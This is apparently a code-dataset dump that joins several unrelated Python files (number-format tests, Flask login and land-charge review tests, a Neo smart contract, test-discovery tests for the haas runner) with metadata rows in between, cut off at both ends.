assert ssf.format('##0.E-0', 10) == '10.E0'
assert ssf.format('##0.E-0', 10.8) == '11.E0'
def test_issue_80():
assert ssf.format('0.000000000000000000000000000000000', 1.23456E-28) == '0.000000000000000000000000000123456'
assert ssf.format('#.0', 1E30) == '1000000000000000000000000000000.0'
| 44.408935 | 123 | 0.531842 | 2,011 | 12,923 | 3.372949 | 0.136748 | 0.153914 | 0.243255 | 0.066047 | 0.549904 | 0.506708 | 0.444494 | 0.396432 | 0.379183 | 0.368274 | 0 | 0.195783 | 0.188965 | 12,923 | 290 | 124 | 44.562069 | 0.451388 | 0.026542 | 0 | 0.089744 | 0 | 0 | 0.342534 | 0.11797 | 0 | 0 | 0 | 0 | 0.57265 | 1 | 0.179487 | false | 0.008547 | 0.004274 | 0 | 0.183761 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0abc2bf295e01faf9188fba829ca91cf9f97d8f9 | 208 | py | Python | test/test_static.py | cclauss/pdoc | a04cd4c8b12d7b6cab007980728bfa55b50b9c70 | [
"Unlicense"
] | 4 | 2018-09-08T11:07:33.000Z | 2018-09-21T14:17:50.000Z | test/test_static.py | cclauss/pdoc | a04cd4c8b12d7b6cab007980728bfa55b50b9c70 | [
"Unlicense"
] | null | null | null | test/test_static.py | cclauss/pdoc | a04cd4c8b12d7b6cab007980728bfa55b50b9c70 | [
"Unlicense"
] | null | null | null | import tutils
import pdoc.extract
import pdoc.static
def test_static_single(tmpdir):
with tutils.tdir():
m = pdoc.extract.extract_module("./modules/one")
pdoc.static.html_out(tmpdir, m) | 20.8 | 56 | 0.706731 | 29 | 208 | 4.931034 | 0.586207 | 0.13986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177885 | 208 | 10 | 57 | 20.8 | 0.836257 | 0 | 0 | 0 | 0 | 0 | 0.062201 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
0abf63a81a0196fb64406f12337e071127f93291 | 275 | py | Python | chibi_requests_site/__init__.py | dem4ply/chibi_requests_site | bfd0872f65b6897dfaf786c9eb80dcb3a11a6fe0 | [
"WTFPL"
] | null | null | null | chibi_requests_site/__init__.py | dem4ply/chibi_requests_site | bfd0872f65b6897dfaf786c9eb80dcb3a11a6fe0 | [
"WTFPL"
] | null | null | null | chibi_requests_site/__init__.py | dem4ply/chibi_requests_site | bfd0872f65b6897dfaf786c9eb80dcb3a11a6fe0 | [
"WTFPL"
] | null | null | null | # -*- coding: utf-8 -*-
"""Top-level package for chibi_requests_site."""
from .site import Site
from .site_paginate import Site_paginate_by_url
__all__ = [ 'Site', 'Site_paginate_by_url' ]
__author__ = """dem4ply"""
__email__ = 'dem4ply@gmail.com'
__version__ = '0.0.1'
| 19.642857 | 48 | 0.705455 | 38 | 275 | 4.447368 | 0.631579 | 0.213018 | 0.142012 | 0.201183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02521 | 0.134545 | 275 | 13 | 49 | 21.153846 | 0.684874 | 0.236364 | 0 | 0 | 0 | 0 | 0.259804 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0abffb3f4338a67a86612824c5f6dd766d376a21 | 403 | py | Python | Class and Statick Methods/04_gym/project/customer.py | milenpenev/SoftUni-OOP | 90f730cb37713f7ca93b1c0ecd0d12aa351247d2 | [
"MIT"
] | 1 | 2021-08-03T19:14:24.000Z | 2021-08-03T19:14:24.000Z | Class and Statick Methods/04_gym/project/customer.py | milenpenev/SoftUni-OOP | 90f730cb37713f7ca93b1c0ecd0d12aa351247d2 | [
"MIT"
] | null | null | null | Class and Statick Methods/04_gym/project/customer.py | milenpenev/SoftUni-OOP | 90f730cb37713f7ca93b1c0ecd0d12aa351247d2 | [
"MIT"
] | null | null | null | class Customer:
id = 1
def __init__(self, name, address, email):
self.name = name
self.address = address
self.email = email
self.id = Customer.id
Customer.id += 1
def __repr__(self):
return f"Customer <{self.id}> {self.name}; Address: {self.address}; Email: {self.email}"
@staticmethod
def get_next_id():
return Customer.id
| 23.705882 | 96 | 0.585608 | 50 | 403 | 4.52 | 0.32 | 0.176991 | 0.097345 | 0.123894 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007042 | 0.295285 | 403 | 16 | 97 | 25.1875 | 0.788732 | 0 | 0 | 0 | 0 | 0.076923 | 0.193548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0 | 0.153846 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0ac5e8231670419073cabbdb23412cc2aeee8483 | 3,177 | py | Python | tests/api/test_security.py | Drakulix/knex | ab71c243e105b978ad1a3c1879ec1c8eb15e51b3 | [
"MIT"
] | 7 | 2017-05-24T14:25:24.000Z | 2017-08-19T11:04:11.000Z | tests/api/test_security.py | Drakulix/knex | ab71c243e105b978ad1a3c1879ec1c8eb15e51b3 | [
"MIT"
] | 302 | 2017-05-10T10:42:55.000Z | 2017-09-26T18:47:42.000Z | tests/api/test_security.py | Drakulix/knex | ab71c243e105b978ad1a3c1879ec1c8eb15e51b3 | [
"MIT"
] | 7 | 2017-05-11T21:05:11.000Z | 2017-07-27T13:28:51.000Z | import requests
import os
class TestPOST(object):
def test_main_page(self, flask_api_url):
response = requests.get(flask_api_url + '/')
assert response.status_code == 404
def test_login_fake_user(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='user1', password='password'))
assert response.status_code == 403
def test_login_successful(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='admin@knex.com', password="admin"))
assert response.status_code == 200
def test_login_wrong_password(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='admin', password='a'))
assert response.status_code == 403
def test_logout(self, flask_api_url, session):
session = requests.Session()
session.post(flask_api_url + '/api/users/login',
data=dict(email='user@knex.com', password="user"))
response = session.get(flask_api_url + '/api/users/logout')
assert response.status_code == 200
def test_access_login_required_logged(self, pytestconfig, flask_api_url):
test_manifest = os.path.join(
str(pytestconfig.rootdir),
'tests',
'testmanifests',
'validexample0.json5'
)
with open(test_manifest, 'r', encoding='utf-8') as tf:
data = str(tf.read().replace('\n', ''))
response = requests.post(flask_api_url + "/api/projects",
data=data.encode('utf-8'),
headers={'Content-Type': 'application/json5'})
assert response.status_code == 403
def test_access_login_required_not_logged(self, pytestconfig, flask_api_url):
requests.get(flask_api_url + '/api/users/logout')
test_manifest = os.path.join(
str(pytestconfig.rootdir),
'tests',
'testmanifests',
'validexample0.json5'
)
with open(test_manifest, 'r', encoding='utf-8') as tf:
data = str(tf.read().replace('\n', ''))
response = requests.post(flask_api_url + "/api/projects",
data=data.encode('utf-8'),
headers={'Content-Type': 'application/json5'})
assert response.status_code == 403
def test_get_user(self, session, enter_default_user_users, flask_api_url):
response = enter_default_user_users
assert response.status_code == 200
response = session.get(flask_api_url + '/api/users/' + 'user@knex.com')
assert response.status_code == 200
def test_user_nonexistent(self, flask_api_url):
response = requests.get(flask_api_url + '/api/users/',
data=dict(email='unknownuser@knex.com'))
assert response.status_code == 404
| 42.36 | 84 | 0.595845 | 363 | 3,177 | 4.983471 | 0.206612 | 0.088447 | 0.121614 | 0.13267 | 0.814815 | 0.750138 | 0.692648 | 0.571034 | 0.530127 | 0.530127 | 0 | 0.018014 | 0.283601 | 3,177 | 74 | 85 | 42.932432 | 0.776801 | 0 | 0 | 0.587302 | 0 | 0 | 0.123702 | 0 | 0 | 0 | 0 | 0 | 0.15873 | 1 | 0.142857 | false | 0.079365 | 0.031746 | 0 | 0.190476 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
0ad25f87ac1056cde4371ef620f6adbb3b19a4b0 | 500 | py | Python | boa3_test/test_sc/interop_test/storage/StorageFindWithOptions.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 25 | 2020-07-22T19:37:43.000Z | 2022-03-08T03:23:55.000Z | boa3_test/test_sc/interop_test/storage/StorageFindWithOptions.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 419 | 2020-04-23T17:48:14.000Z | 2022-03-31T13:17:45.000Z | boa3_test/test_sc/interop_test/storage/StorageFindWithOptions.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 15 | 2020-05-21T21:54:24.000Z | 2021-11-18T06:17:24.000Z | from typing import Union
from boa3.builtin import public
from boa3.builtin.interop.iterator import Iterator
from boa3.builtin.interop.storage import find, get_context, put
from boa3.builtin.interop.storage.findoptions import FindOptions
@public
def find_by_prefix(prefix: Union[str, bytes]) -> Iterator:
context = get_context()
return find(prefix, context, FindOptions.REMOVE_PREFIX)
@public
def put_on_storage(key: Union[str, bytes], value: Union[int, str, bytes]):
put(key, value)
| 27.777778 | 74 | 0.776 | 71 | 500 | 5.366197 | 0.366197 | 0.08399 | 0.15748 | 0.173228 | 0.152231 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009174 | 0.128 | 500 | 17 | 75 | 29.411765 | 0.864679 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.416667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
0ad27075889deaf88027c2cc49df67a5aac54a5d | 8,631 | py | Python | unit_tests/add_land_charge/test_review.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | 1 | 2019-10-03T13:58:29.000Z | 2019-10-03T13:58:29.000Z | unit_tests/add_land_charge/test_review.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | null | null | null | unit_tests/add_land_charge/test_review.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | 1 | 2021-04-11T05:24:57.000Z | 2021-04-11T05:24:57.000Z | from maintain_frontend import main
from flask import url_for
from flask_testing import TestCase
from unit_tests.utilities import Utilities
from unittest.mock import patch, call
from maintain_frontend.dependencies.session_api.session import Session
from maintain_frontend.constants.permissions import Permissions
from maintain_frontend.models import LocalLandChargeItem
import json
ADD_CHARGE_STATE = LocalLandChargeItem()
EDITED_FIELDS = []
VALID_PERMISSIONS = [Permissions.add_llc]
INVALID_PERMISSIONS = []
class TestReviewLandCharge(TestCase):
def create_app(self):
Utilities.mock_session_cookie_flask_test(self)
return main.app
def setUp(self):
main.app.config['Testing'] = True
main.app.config['WTF_CSRF_ENABLED'] = False
@patch('maintain_frontend.add_land_charge.review.ReviewMap')
def test_get(self, mock_review_map):
"""Should set the redirect_route in session, and render the expected template with expected objects."""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.add_charge_state = ADD_CHARGE_STATE
self.mock_session.return_value.edited_fields = EDITED_FIELDS
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
response = self.client.get(url_for('add_land_charge.get_review'))
self.assert_status(response, 200)
self.assert_template_used('review.html')
self.assertEqual(self.mock_session.return_value.redirect_route, 'add_land_charge.get_review')
self.assertEqual(self.get_context_variable('add_charge_state'), ADD_CHARGE_STATE)
self.assertEqual(self.get_context_variable('edited_fields'), EDITED_FIELDS)
self.assertEqual(self.get_context_variable('geometry'), json.dumps(ADD_CHARGE_STATE.geometry))
self.assertEqual(self.get_context_variable('map'), mock_review_map)
def test_get_redirects_to_new_when_state_is_none(self):
"""Should redirect to the start of the add flow if the add_land_charge state is not set in session."""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.add_charge_state = None
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
response = self.client.get(url_for('add_land_charge.get_review'))
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.new'))
@patch('maintain_frontend.add_land_charge.review.AuditAPIService')
@patch('maintain_frontend.add_land_charge.review.MaintainApiService')
def test_post(self, mock_api_service, mock_audit):
"""Should call the API to persist the local land charge and reset the session values.
If successful should then redirect to the confirmation page.
"""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
self.mock_session.return_value.add_charge_state = ADD_CHARGE_STATE
self.mock_session.return_value.add_charge_state.local_land_charge = '1'
self.mock_session.return_value.charge_added_outside_users_authority = False
response = self.client.post(url_for('add_land_charge.post_review'))
mock_api_service.add_charge.assert_called_with(ADD_CHARGE_STATE)
self.assertIsNone(self.mock_session.return_value.redirect_route)
self.assertEqual(self.mock_session.return_value.edited_fields, [])
expected_calls = [
call("Submitting the charge", supporting_info=self.mock_session.return_value.add_charge_state.to_json()),
call("Charge created", supporting_info={
'id': self.mock_session.return_value.last_created_charge.charge_id})
]
mock_audit.audit_event.assert_has_calls(expected_calls)
for calls in mock_audit.mock_calls:
self.assertNotEqual(calls[1], "Charge added outside users authority.")
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_confirmation'))
@patch('maintain_frontend.add_land_charge.review.AuditAPIService')
@patch('maintain_frontend.add_land_charge.review.request')
@patch('maintain_frontend.add_land_charge.review.MaintainApiService')
def test_post_multiple_submissions(self, mock_api_service, mock_request, mock_audit):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
self.mock_session.return_value.add_charge_state = ADD_CHARGE_STATE
self.mock_session.return_value.submit_token = "previous-token"
mock_request.form = {"csrf_token": "new-token"}
response = self.client.post(url_for('add_land_charge.post_review'))
second_response = self.client.post(url_for('add_land_charge.post_review'))
mock_api_service.add_charge.assert_called_with(ADD_CHARGE_STATE)
mock_api_service.add_charge.assert_called_once()
self.assertIsNone(self.mock_session.return_value.redirect_route)
self.assertEqual(self.mock_session.return_value.edited_fields, [])
self.assertEqual(self.mock_session.return_value.submit_token, "new-token")
self.assert_status(response, 302)
self.assert_status(second_response, 302)
self.assertRedirects(response, url_for('add_land_charge.get_confirmation'))
self.assertRedirects(second_response, url_for('add_land_charge.get_confirmation'))
def test_post_redirects_to_new_when_state_is_none(self):
"""Should reset the session values and redirect to the start of the flow if the add_land_charge state is not"""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.add_charge_state = None
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
response = self.client.post(url_for('add_land_charge.post_review'))
self.assertIsNone(self.mock_session.return_value.redirect_route)
self.assertEqual(self.mock_session.return_value.edited_fields, [])
self.assert_status(response, 302)
self.assertRedirects(response, url_for('add_land_charge.new'))
def test_get_no_permission(self):
"""Should respond with a 302 and redirect to the not-authorised page if permissions are not set."""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = INVALID_PERMISSIONS
response = self.client.get(url_for('add_land_charge.post_review'))
self.assert_status(response, 302)
self.assertRedirects(response, '/not-authorised')
def test_post_no_permission(self):
"""Should respond with a 302 and redirect to the not-authorised page if permissions are not set."""
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = INVALID_PERMISSIONS
response = self.client.post(url_for('add_land_charge.post_review'))
self.assert_status(response, 302)
self.assertRedirects(response, '/not-authorised')
@patch('maintain_frontend.add_land_charge.review.AuditAPIService')
@patch('maintain_frontend.add_land_charge.review.request')
@patch('maintain_frontend.add_land_charge.review.MaintainApiService')
def test_post_audit_when_user_adds_charge_outside_authority(self, mock_api_service, mock_request, mock_audit):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.permissions = VALID_PERMISSIONS
self.mock_session.return_value.add_charge_state = ADD_CHARGE_STATE
self.mock_session.return_value.charge_added_outside_users_authority = True
response = self.client.post(url_for('add_land_charge.post_review'))
self.assert_status(response, 302)
supporting_info = {
'originating-authority': self.mock_session.return_value.user.organisation,
'id': self.mock_session.return_value.last_created_charge.charge_id
}
expected_call = [call('Charge added outside users authority.', supporting_info=supporting_info)]
mock_audit.audit_event.assert_has_calls(expected_call)
self.assertIsNone(self.mock_session.return_value.charge_added_outside_users_authority)
| 50.770588 | 119 | 0.755648 | 1,123 | 8,631 | 5.460374 | 0.127337 | 0.046967 | 0.078278 | 0.109589 | 0.766471 | 0.746575 | 0.702055 | 0.661611 | 0.632583 | 0.609426 | 0 | 0.004792 | 0.153748 | 8,631 | 169 | 120 | 51.071006 | 0.834748 | 0.073456 | 0 | 0.479339 | 0 | 0 | 0.1687 | 0.110077 | 0 | 0 | 0 | 0 | 0.297521 | 1 | 0.082645 | false | 0 | 0.07438 | 0 | 0.173554 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0af0ea18e3dfdff309c6a66d76d1b7cb94e69607 | 30,690 | py | Python | haas/plugins/tests/test_discoverer.py | pzahemszky/haas | d124292862b82813d6e22788a5ca477d2e248936 | [
"BSD-3-Clause"
] | null | null | null | haas/plugins/tests/test_discoverer.py | pzahemszky/haas | d124292862b82813d6e22788a5ca477d2e248936 | [
"BSD-3-Clause"
] | null | null | null | haas/plugins/tests/test_discoverer.py | pzahemszky/haas | d124292862b82813d6e22788a5ca477d2e248936 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2013-2014 Simon Jagoe
# All rights reserved.
#
# This software may be modified and distributed under the terms
# of the 3-clause BSD license. See the LICENSE.txt file for details.
from __future__ import absolute_import, unicode_literals
import os
import shutil
import sys
import tempfile
import unittest as python_unittest
from mock import Mock, patch
from haas.testing import unittest
from haas.tests import _test_cases, builder
from haas.loader import Loader
from haas.module_import_error import ModuleImportError
from haas.suite import find_test_cases, TestSuite
from haas.utils import cd
from ..discoverer import (
Discoverer,
filter_test_suite,
find_module_by_name,
find_top_level_directory,
get_module_name,
)
class FilterTestCase(_test_cases.TestCase):
pass
class TestDiscoveryMixin(object):
def setUp(self):
self.tmpdir = os.path.abspath(tempfile.mkdtemp())
self.dirs = dirs = ['haas_test_package', 'tests']
path = self.tmpdir
for dir_ in dirs:
path = os.path.join(path, dir_)
os.makedirs(path)
with open(os.path.join(path, '__init__.py'), 'w'):
pass
destdir = os.path.join(self.tmpdir, *dirs)
base = os.path.splitext(_test_cases.__file__)[0]
srcfile = '{0}.py'.format(base)
shutil.copyfile(
srcfile, os.path.join(destdir, 'test_cases.py'))
def tearDown(self):
for key in list(sys.modules.keys()):
if key in sys.modules and key.startswith(self.dirs[0]):
del sys.modules[key]
if self.tmpdir in sys.path:
sys.path.remove(self.tmpdir)
shutil.rmtree(self.tmpdir)
def get_test_cases(self, suite):
for test in find_test_cases(suite):
yield test
class TestFindTopLevelDirectory(TestDiscoveryMixin, unittest.TestCase):
def test_from_top_level_directory(self):
directory = find_top_level_directory(self.tmpdir)
self.assertEqual(directory, self.tmpdir)
def test_from_leaf_directory(self):
directory = find_top_level_directory(
os.path.join(self.tmpdir, *self.dirs))
self.assertEqual(directory, self.tmpdir)
def test_from_middle_directory(self):
directory = find_top_level_directory(
os.path.join(self.tmpdir, self.dirs[0]))
self.assertEqual(directory, self.tmpdir)
def test_from_nonpackage_directory(self):
nonpackage = os.path.join(self.tmpdir, self.dirs[0], 'nonpackage')
os.makedirs(nonpackage)
directory = find_top_level_directory(nonpackage)
self.assertEqual(directory, nonpackage)
def test_relative_directory(self):
relative = os.path.join(self.tmpdir, self.dirs[0], '..', *self.dirs)
directory = find_top_level_directory(relative)
self.assertEqual(directory, self.tmpdir)
def test_no_top_level(self):
os_path_dirname = os.path.dirname
def dirname(path):
if os.path.basename(os_path_dirname(path)) not in self.dirs:
return path
return os_path_dirname(path)
with patch('os.path.dirname', dirname):
with self.assertRaises(ValueError):
find_top_level_directory(os.path.join(self.tmpdir, *self.dirs))
class TestGetModuleName(TestDiscoveryMixin, unittest.TestCase):
def test_module_in_project(self):
module_path = os.path.join(self.tmpdir, *self.dirs)
module_name = get_module_name(self.tmpdir, module_path)
self.assertEqual(module_name, '.'.join(self.dirs))
def test_module_not_in_project_deep(self):
module_path = os.path.join(self.tmpdir, *self.dirs)
with self.assertRaises(ValueError):
get_module_name(os.path.dirname(__file__), module_path)
def test_module_not_in_project_relpath(self):
module_path = os.path.abspath(
os.path.join(self.tmpdir, '..', *self.dirs))
with self.assertRaises(ValueError):
get_module_name(self.tmpdir, module_path)
class TestFindModuleByName(TestDiscoveryMixin, unittest.TestCase):
def setUp(self):
TestDiscoveryMixin.setUp(self)
sys.path.insert(0, self.tmpdir)
def tearDown(self):
sys.path.remove(self.tmpdir)
TestDiscoveryMixin.tearDown(self)
def test_package_in_project(self):
module, case_attributes = find_module_by_name('.'.join(self.dirs))
dirname = os.path.join(self.tmpdir, *self.dirs)
filename = os.path.join(dirname, '__init__')
self.assertEqual(os.path.splitext(module.__file__)[0], filename)
def test_missing_package_in_project(self):
module_name = '.'.join(self.dirs + ['missing'])
module, case_attributes = find_module_by_name(module_name)
dirname = os.path.join(self.tmpdir, *self.dirs)
filename = os.path.join(dirname, '__init__')
self.assertEqual(os.path.splitext(module.__file__)[0], filename)
self.assertEqual(case_attributes, ['missing'])
def test_module_attribute_in_project(self):
module_name = '.'.join(self.dirs + ['test_cases'])
test_case_name = '.'.join([module_name, 'TestCase'])
try:
module, case_attributes = find_module_by_name(test_case_name)
module_file = module.__file__
finally:
del sys.modules[module_name]
dirname = os.path.join(self.tmpdir, *self.dirs)
filename = os.path.join(dirname, 'test_cases')
self.assertEqual(os.path.splitext(module_file)[0], filename)
self.assertEqual(case_attributes, ['TestCase'])
def test_missing_top_level_package_in_project(self):
with self.assertRaises(ImportError):
find_module_by_name('no_module')
class TestFilterTestSuite(unittest.TestCase):
def setUp(self):
self.case_1 = _test_cases.TestCase(methodName='test_method')
self.case_2 = _test_cases.TestCase(methodName='_private_method')
self.case_3 = FilterTestCase(methodName='_private_method')
self.suite = TestSuite(
[
TestSuite(
[
self.case_1,
self.case_2,
],
),
TestSuite(
[
self.case_3,
],
),
],
)
def tearDown(self):
del self.suite
del self.case_3
del self.case_2
del self.case_1
def test_filter_by_method_name(self):
filtered_suite = filter_test_suite(self.suite, 'test_method')
self.assertEqual(len(filtered_suite), 1)
test, = filtered_suite
self.assertIs(test, self.case_1)
def test_filter_by_class_name(self):
filtered_suite = filter_test_suite(self.suite, 'FilterTestCase')
self.assertEqual(len(filtered_suite), 1)
test, = filtered_suite
self.assertIs(test, self.case_3)
def test_filter_by_module_name(self):
filtered_suite = filter_test_suite(self.suite, '_test_cases')
self.assertEqual(len(filtered_suite), 2)
test1, test2 = filtered_suite
self.assertIs(test1, self.case_1)
self.assertIs(test2, self.case_2)
def test_filter_by_package_name(self):
filtered_suite = filter_test_suite(self.suite, 'test_discoverer')
self.assertEqual(len(filtered_suite), 1)
test, = filtered_suite
self.assertIs(test, self.case_3)
def test_filter_by_nonexistant_name(self):
filtered_suite = filter_test_suite(self.suite, 'nothing_called_this')
self.assertEqual(len(filtered_suite), 0)
def test_filter_by_class_and_test_name(self):
filtered_suite = filter_test_suite(
self.suite, 'TestCase.test_method')
self.assertEqual(len(filtered_suite), 1)
test, = filtered_suite
self.assertIs(test, self.case_1)
def test_filter_by_module_and_class(self):
filtered_suite = filter_test_suite(
self.suite, '_test_cases.TestCase')
self.assertEqual(len(filtered_suite), 2)
test1, test2 = filtered_suite
self.assertIs(test1, self.case_1)
self.assertIs(test2, self.case_2)
def test_filter_by_module_and_class_and_test(self):
filtered_suite = filter_test_suite(
self.suite, '_test_cases.TestCase.test_method')
self.assertEqual(len(filtered_suite), 1)
test1, = filtered_suite
self.assertIs(test1, self.case_1)
class TestDiscoveryByPath(TestDiscoveryMixin, unittest.TestCase):
def setUp(self):
TestDiscoveryMixin.setUp(self)
self.discoverer = Discoverer(Loader())
def tearDown(self):
del self.discoverer
TestDiscoveryMixin.tearDown(self)
def assertSuite(self, suite):
self.assertIsInstance(suite, TestSuite)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 2)
for test in tests:
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_from_top_level_directory(self):
suite = self.discoverer.discover(self.tmpdir)
self.assertSuite(suite)
def test_from_leaf_directory(self):
suite = self.discoverer.discover(os.path.join(self.tmpdir, *self.dirs))
self.assertSuite(suite)
def test_from_middle_directory(self):
suite = self.discoverer.discover(
os.path.join(self.tmpdir, self.dirs[0]))
self.assertSuite(suite)
def test_start_from_nonpackage_directory(self):
nonpackage = os.path.join(self.tmpdir, self.dirs[0], 'nonpackage')
os.makedirs(nonpackage)
suite = self.discoverer.discover(nonpackage)
self.assertEqual(len(list(suite)), 0)
def test_from_nested_nonpackage_directory(self):
"""
Regression test for #38
"""
# Given
nonpackage = os.path.join(self.tmpdir, 'nonpackage')
package = os.path.join(nonpackage, 'nonpackage', 'tests')
os.makedirs(package)
with open(os.path.join(package, '__init__.py'), 'w'):
pass
with open(os.path.join(package, 'test.py'), 'w'):
pass
# When
suite = self.discoverer.discover(nonpackage, nonpackage)
# Then
self.assertEqual(suite.countTestCases(), 0)
def test_relative_directory(self):
relative = os.path.join(self.tmpdir, self.dirs[0], '..', *self.dirs)
suite = self.discoverer.discover(relative)
self.assertSuite(suite)
def test_given_correct_top_level_directory(self):
suite = self.discoverer.discover(
self.tmpdir, top_level_directory=self.tmpdir)
self.assertSuite(suite)
def test_given_incorrect_top_level_directory(self):
with self.assertRaises(ImportError):
self.discoverer.discover(
self.tmpdir,
top_level_directory=os.path.dirname(self.tmpdir),
)
def test_top_level_directory_on_path(self):
sys.path.insert(0, self.tmpdir)
try:
suite = self.discoverer.discover(self.tmpdir)
finally:
sys.path.remove(self.tmpdir)
self.assertSuite(suite)
class TestDiscoveryByModule(TestDiscoveryMixin, unittest.TestCase):
def setUp(self):
TestDiscoveryMixin.setUp(self)
self.discoverer = Discoverer(Loader())
def tearDown(self):
del self.discoverer
TestDiscoveryMixin.tearDown(self)
def test_discover_package(self):
suite = self.discoverer.discover(
'.'.join(self.dirs),
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 2)
for test in tests:
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_package_no_top_level(self):
suite = self.discoverer.discover('haas.tests')
tests = list(self.get_test_cases(suite))
self.assertGreater(len(tests), 1)
def test_discover_module(self):
module = '{0}.test_cases'.format('.'.join(self.dirs))
suite = self.discoverer.discover(
module, top_level_directory=self.tmpdir)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 2)
for test in tests:
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_case(self):
module = '{0}.test_cases.TestCase'.format('.'.join(self.dirs))
suite = self.discoverer.discover(
module, top_level_directory=self.tmpdir)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_missing_case(self):
module = '{0}.test_cases.MissingTestCase'.format('.'.join(self.dirs))
suite = self.discoverer.discover(
module, top_level_directory=self.tmpdir)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 0)
def test_discover_not_case(self):
module = '{0}.test_cases.NotTestCase'.format('.'.join(self.dirs))
suite = self.discoverer.discover(
module, top_level_directory=self.tmpdir)
